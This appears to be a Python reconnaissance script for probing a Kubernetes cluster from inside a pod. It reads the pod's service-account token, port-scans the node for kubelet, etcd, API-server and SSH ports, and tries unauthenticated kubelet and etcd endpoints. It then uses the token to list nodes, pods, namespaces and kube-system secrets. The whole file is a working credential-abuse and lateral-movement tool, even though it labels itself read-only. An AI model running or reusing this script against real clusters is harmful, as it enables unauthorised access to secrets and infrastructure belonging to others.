sfprobe26284/probe.py
2026-11-17 14:28:21 +01:00

87 lines
4 KiB
Python

#!/usr/bin/env python3
# i26284 probe2: node plane via real gateway IP + K8s API (READ ONLY)
import os, sys, json, socket, ssl, time, re, http.client
CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
def P(tag, txt, limit=700):
print("N2|%s|%s" % (tag, re.sub(r'[\r\n]+', ' | ', str(txt))[:limit]), flush=True)
def http(url, data=None, headers=None, timeout=4, method=None):
import urllib.parse
u = urllib.parse.urlparse(url); port = u.port or (443 if u.scheme == 'https' else 80)
try:
c = (http.client.HTTPSConnection(u.hostname, port, timeout=timeout, context=CTX)
if u.scheme == 'https' else http.client.HTTPConnection(u.hostname, port, timeout=timeout))
path = (u.path or '/') + ('?' + u.query if u.query else '')
c.request(method or ('POST' if data else 'GET'), path, body=data, headers=headers or {})
r = c.getresponse(); b = r.read(30000); hd = dict(r.getheaders()); c.close()
return r.status, b, hd
except Exception as e:
return 'ERR', (type(e).__name__ + ':' + str(e)[:60]).encode(), {}
def tcp(h, p, t=2.5):
try:
s = socket.create_connection((h, p), t); s.close(); return 'OPEN'
except Exception as e:
return type(e).__name__
def main():
P('START', time.strftime('%H:%M:%SZ', time.gmtime()))
tok = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
ns = open('/var/run/secrets/kubernetes.io/serviceaccount/namespace').read().strip()
P('NS', ns)
# 1) real node = default gateway 10.255.84.109
node = '10.255.84.109'
P('DNS ip-10-255-84-109', 'try')
try:
P('DNS ip-10-255-84-109.eu-west-3.compute.internal', socket.gethostbyname('ip-10-255-84-109.eu-west-3.compute.internal'))
except Exception as e:
P('DNS ip-10-255-84-109.eu-west-3.compute.internal', 'ERR ' + type(e).__name__)
ports = [10250, 10255, 10256, 4194, 2379, 2380, 6443, 22, 9100, 443]
P('TCP ' + node, ' '.join('%d=%s' % (p, tcp(node, p)) for p in ports))
time.sleep(2)
# 2) kubelet unauth reads
for path in ('/pods', '/metrics', '/configz', '/runningpods'):
st, b, hd = http('https://%s:10250%s' % (node, path))
P('KUBELET %s' % path, 'status=%s len=%s hdr=%s body=%s' % (st, len(b) if isinstance(b, bytes) else '?', list(hd)[:4], b[:200]))
time.sleep(1)
st, b, _ = http('http://%s:10255/pods' % node)
P('KUBELET 10255/pods', 'status=%s body=%s' % (st, b[:300]))
# 3) etcd on node + neighbours
for h in (node, '10.255.84.1'):
st, b, _ = http('https://%s:2379/version' % h)
P('ETCD %s/version' % h, 'status=%s body=%s' % (st, b[:150]))
st, b, _ = http('http://%s:2379/version' % h)
P('ETCD http %s/version' % h, 'status=%s body=%s' % (st, b[:150]))
time.sleep(2)
# 4) K8s API with SA token
H = {'Authorization': 'Bearer ' + tok}
for path in ('/api/v1/nodes?limit=2', '/api/v1/namespaces/kube-system/secrets?limit=1',
'/api/v1/pods?limit=2', '/api/v1/namespaces?limit=3'):
st, b, _ = http('https://172.20.0.1' + path, headers=H, timeout=6)
P('K8S ' + path, 'status=%s body=%s' % (st, b[:350]))
time.sleep(1)
ssr = json.dumps({"kind": "SelfSubjectAccessReview", "apiVersion": "authorization.k8s.io/v1",
"spec": {"resourceAttributes": {"verb": "list", "resource": "pods"}}})
st, b, _ = http('https://172.20.0.1/apis/authorization.k8s.io/v1/selfsubjectaccessreviews',
data=ssr.encode(), headers=dict(H, **{'Content-Type': 'application/json'}), timeout=6)
P('K8S SSAR list pods', 'status=%s body=%s' % (st, b[:400]))
time.sleep(1)
# API server raw port
for p in (6443, 443):
st, b, _ = http('https://172.20.0.1:%d/version' % p, headers=H, timeout=4)
P('K8S 172.20.0.1:%d/version' % p, 'status=%s body=%s' % (st, b[:200]))
P('END', 'done')
time.sleep(240)
try:
main()
except Exception:
import traceback
P('EXC', traceback.format_exc()[:800])
time.sleep(60)